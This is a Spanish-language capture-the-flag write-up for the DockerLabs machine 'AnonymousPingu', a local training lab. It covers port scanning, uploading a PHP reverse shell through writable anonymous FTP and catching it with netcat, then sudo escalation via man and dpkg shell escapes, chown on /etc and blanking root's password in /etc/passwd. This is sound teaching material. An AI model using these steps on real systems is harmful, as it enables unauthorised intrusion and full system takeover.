> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/anonymouspingu.md).

# AnonymousPingu

### **1. Despliegue de la máquina**

#### **1.1. Descarga**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **AnonymousPingu** y pulsamos el botón de descarga.

Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que incluye tanto la imagen de la máquina como el script necesario para su ejecución.

#### **1.2. Descompresión**

Utilizamos la herramienta `7z` para extraer el contenido del archivo comprimido `anonymouspingu.zip`:

```bash
7z x anonymouspingu.zip
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FkzzDK6oAvtrVIkOFUANw%2FPasted%20image%2020250831092051.png?alt=media&amp;token=2839e73e-8257-41d4-8bf3-8d4e7b663812" alt=""><figcaption></figcaption></figure>

#### **1.3. Ejecución**

Ejecutamos el script `auto_deploy.sh` para levantar la máquina en Docker, pasando como argumento el archivo `anonymouspingu.tar`:

```bash
bash auto_deploy.sh anonymouspingu.tar
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FTm2L6KlDh3ytszG0BloF%2FPasted%20image%2020250831092124.png?alt=media&amp;token=f0e556c2-7bb6-4bc5-be7e-e6bda6bf8881" alt=""><figcaption></figcaption></figure>

### **2. Reconocimiento**

#### **2.1. Verificación de conectividad**

Realizamos un `ping` a la dirección IP de la máquina (`172.17.0.2`) para confirmar que está activa:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FuwVluOJFKEp1NJlj9xtF%2FPasted%20image%2020250831092232.png?alt=media&amp;token=c868bceb-6a97-4c73-b288-dbdda2c43eae" alt=""><figcaption></figcaption></figure>

#### **2.2. Escaneo de puertos**

Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Explicación de los parámetros:**

* `-p-`: Escanea todos los puertos TCP, del 1 al 65535.
* `--open`: Muestra solo los puertos que están abiertos, omitiendo los cerrados o filtrados.
* `-sS`: Realiza un escaneo SYN (stealth scan) que no completa la conexión TCP.
* `--min-rate 5000`: Fuerza una velocidad mínima de 5000 paquetes por segundo, acelerando el escaneo.
* `-vvv`: Activa el nivel máximo de verbosidad, mostrando información detallada del proceso.
* `-n`: Evita la resolución DNS, usando solo direcciones IP.
* `-Pn`: Omite la detección de host activo, asumiendo que el host está disponible.
* `-oG allPorts`: Guarda los resultados del escaneo en formato grepable, en el archivo `allPorts`.

**Resultados del escaneo:**

* **Puerto 21:** `FTP`.
* **Puerto 80:** `HTTP`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FpYi8MpvNB4ubClUcdRFH%2FPasted%20image%2020250831092308.png?alt=media&amp;token=37ea7f20-c2e4-4bd8-a5dc-7960944d5f3c" alt=""><figcaption></figcaption></figure>

#### **2.3. Escaneo detallado**

Realizamos un escaneo más exhaustivo para obtener información adicional sobre los puertos abiertos:

```bash
nmap -p21,80 -sCV 172.17.0.2 -oN targeted
```

**Explicación de los parámetros:**

* `-p21,80`: Especifica los puertos a escanear.
* `-sCV`: Combina la ejecución de scripts básicos de reconocimiento (`-sC`) con el escaneo de versiones (`-sV`).
* `-oN targeted`: Guarda los resultados del escaneo en formato normal, en el archivo `targeted`.

**Resultados del escaneo:**

* **Puerto 21:** `vsftpd 3.0.5` con acceso habilitado para el usuario `anonymous`. Observamos varios directorios y archivos disponibles, incluyendo uno llamado `upload`, en el cual tenemos permisos de escritura.
* **Puerto 80:** `Apache httpd 2.4.58` con una página titulada "Mantenimiento".

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FHGopraxijKYK9H2iqsIZ%2FPasted%20image%2020250831092354.png?alt=media&amp;token=fcbd0b1a-a627-443a-a98e-4fd2de70ab3a" alt=""><figcaption></figcaption></figure>

#### **2.4. Análisis del servicio web**

Accedemos al servicio web mediante `http://172.17.0.2/` y observamos una página de mantenimiento.

Al explorar las secciones del menú superior, identificamos que corresponden a los archivos alojados en el servicio FTP.

Esto sugiere que las modificaciones realizadas vía FTP se reflejarán directamente en el sitio web.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fogf6kYsHZ78xd72K1cpA%2FPasted%20image%2020250831092512.png?alt=media&amp;token=3ef5395d-267d-4a96-91ea-2e3903a7c1ef" alt=""><figcaption></figcaption></figure>

Al acceder al directorio `upload` (`http://172.17.0.2/upload/`) confirmamos su existencia.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FBaE0Ra1QvxyK97YwaWCH%2FPasted%20image%2020250831092653.png?alt=media&amp;token=e724ed89-71e8-47b1-889b-cca24ef241f5" alt=""><figcaption></figcaption></figure>

### **3. Explotación**

#### **3.1. Preparación de reverse shell**

Utilizamos [RevShells](https://www.revshells.com/) para generar una reverse shell en PHP.

Copiamos el código y lo guardamos en un archivo denominado `ReverseShell.php`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FgczY1DRdDcQnHjUW8jPN%2FPasted%20image%2020250831092750.png?alt=media&amp;token=c97a36a6-65a8-4b1c-9ae7-a36cfc691498" alt=""><figcaption></figcaption></figure>

#### **3.2. Conexión FTP y subida de archivo**

Nos conectamos al servicio FTP utilizando el usuario `anonymous`:

```bash
ftp anonymous@172.17.0.2
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fs9QZDxC77ZHhPFZJXRD0%2FPasted%20image%2020250831092540.png?alt=media&amp;token=f8cad49b-2c5d-4674-9e8e-a4ca7242a891" alt=""><figcaption></figcaption></figure>

Subimos el archivo `ReverseShell.php` al directorio `upload`:

```bash
put ReverseShell.php
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FLZD5a2ZwOL4m9IpBMCKA%2FPasted%20image%2020250831092828.png?alt=media&amp;token=8a77e990-5297-421e-b9c1-5f206e2b9f39" alt=""><figcaption></figcaption></figure>

Verificamos mediante el navegador que el archivo se ha subido correctamente accediendo a `http://172.17.0.2/upload/`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F2igyEz5nnVHSPUuXKD4b%2FPasted%20image%2020250831092839.png?alt=media&amp;token=769a5056-a223-42ea-b67e-30f7016f74f0" alt=""><figcaption></figcaption></figure>

#### **3.3. Ejecución de reverse shell**

Nos ponemos en escucha en el puerto `1234` para recibir la conexión:

```bash
nc -nvlp 1234
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FLNzOuYQgUtw1ctbFkd3F%2FPasted%20image%2020250831092902.png?alt=media&amp;token=77faca29-1c44-4d48-b526-c55252925fa1" alt=""><figcaption></figcaption></figure>

Ejecutamos la reverse shell accediendo a `http://172.17.0.2/upload/ReverseShell.php` mediante el navegador.

Observamos que la página queda en estado de carga, pero recibimos la shell en nuestra terminal como el usuario `www-data`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FRZwsBSWRt6arcjdumtFM%2FPasted%20image%2020250831092923.png?alt=media&amp;token=1574e6d4-9397-4d35-a130-038bbed0001d" alt=""><figcaption></figcaption></figure>

### **4. Escalada de privilegios**

#### **4.1. Análisis de privilegios de www-data**

Ejecutamos `sudo -l` para listar los privilegios disponibles.

Descubrimos que podemos ejecutar `/usr/bin/man` como el usuario `pingu` sin proporcionar contraseña:

```bash
(pingu) NOPASSWD: /usr/bin/man
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FHU0m2IcsUmBKjp4nWAnG%2FPasted%20image%2020250831093021.png?alt=media&amp;token=104c8380-d2bf-4e8b-a230-fd2c384bfb0f" alt=""><figcaption></figcaption></figure>

#### **4.2. Escalada al usuario pingu**

Consultamos [GTFOBins](https://gtfobins.github.io/gtfobins/man/) para identificar cómo explotar `man`:

```bash
sudo -u pingu man man
```

Dentro de la interfaz de `man`, ejecutamos:

```bash
!/bin/bash
```

Obtenemos una shell como el usuario `pingu`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FWyuKTgEsLQFrgapNzcwW%2FPasted%20image%2020250831093220.png?alt=media&amp;token=2ab477ce-d4d6-46c2-858c-c6b3ffaa7f69" alt=""><figcaption></figcaption></figure>

#### **4.3. Análisis de privilegios de pingu**

Listamos nuevamente los privilegios con `sudo -l`.

Identificamos que podemos ejecutar `/usr/bin/dpkg` como el usuario `gladys` sin proporcionar contraseña:

```bash
(gladys) NOPASSWD: /usr/bin/dpkg
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FPgzO8Rr1760o4jsfjsCV%2FPasted%20image%2020250831093314.png?alt=media&amp;token=dbe6bd3e-65a4-4830-b21c-8c48c6eccd21" alt=""><figcaption></figcaption></figure>

#### **4.4. Escalada al usuario gladys**

Consultamos [GTFOBins](https://gtfobins.github.io/gtfobins/dpkg/) para explotar `dpkg`:

```bash
sudo -u gladys dpkg -l
```

Dentro de la interfaz, ejecutamos:

```bash
!/bin/bash
```

Obtenemos una shell como el usuario `gladys`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FYFGM2FBQoFD9fmcVjfFW%2FPasted%20image%2020250831093505.png?alt=media&amp;token=9d82d93b-34d6-4b03-b335-d86bf5e12afe" alt=""><figcaption></figcaption></figure>

#### **4.5. Análisis de privilegios de gladys**

Ejecutamos `sudo -l` nuevamente.

Descubrimos que podemos ejecutar `/usr/bin/chown` como `root` sin proporcionar contraseña:

```bash
(root) NOPASSWD: /usr/bin/chown
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FJ7JtgTBIWWOL1Zec3m43%2FPasted%20image%2020250831093543.png?alt=media&amp;token=5f07a1af-42f8-4b8b-a5d0-1c0e57f72df4" alt=""><figcaption></figcaption></figure>

#### **4.6. Escalada a root**

Modificamos los permisos del directorio `/etc` para tomar control como el usuario `gladys`:

```bash
sudo /usr/bin/chown gladys:gladys /etc
```

Editamos el archivo `/etc/passwd` para eliminar la contraseña del usuario `root`:

```bash
/usr/bin/sed -i 's/root:x:/root::/g' /etc/passwd
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FU3AEYoxtGxyDNGgIYqjn%2FPasted%20image%2020250831093744.png?alt=media&amp;token=ba300d83-ca4f-4e2d-9e82-21d6e0cb744c" alt=""><figcaption></figcaption></figure>

Finalmente, accedemos como `root` sin necesidad de contraseña:

```bash
su root
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FDdqaiIjO9yPnZkqwg4Al%2FPasted%20image%2020250831093809.png?alt=media&amp;token=fa63a5ce-56cd-4c15-a7f1-43ea789a978d" alt=""><figcaption></figcaption></figure>
